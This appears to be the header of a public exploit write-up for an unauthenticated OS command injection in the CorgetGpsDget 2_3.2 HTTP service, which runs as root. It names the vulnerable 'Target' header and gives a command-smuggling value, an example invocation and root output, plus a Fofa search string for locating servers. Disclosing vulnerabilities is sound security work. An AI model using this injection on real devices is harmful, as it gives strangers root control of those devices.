# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection
# Date: 2026-07-05
# Exploit Author: Bytetobreach
# Fofa server: "PTTServer"
# Vendor Homepage: http://corget.com
# Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0
# Tested on Ubuntu. Binary reversed on Ghidra Debian.
# Sink is in http/HttpHandler.cpp CHttpHandler::SendEmail
# CVE: pending (requested)
#
# Description:
# HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail
# method request header. The "Target" header recipient
# header is unsafly concatenated into a system() call:
# system("echo '<body>'|mail -r '[email protected]' -s '<subject>' <Target>");
# A Target value such as `x;<cmd>;` injects unauthenticated arbitrary OS commands
# executed as root.
# Example: python3 corget.py TARGET:7777 'id > /data/rce'
# HTTP/1.0 200 Ok
# Server: PTTServer
# Content-Length: 0
# curl TARGET:13001/rce
# uid=0(root) gid=0(root) 组=0(root)
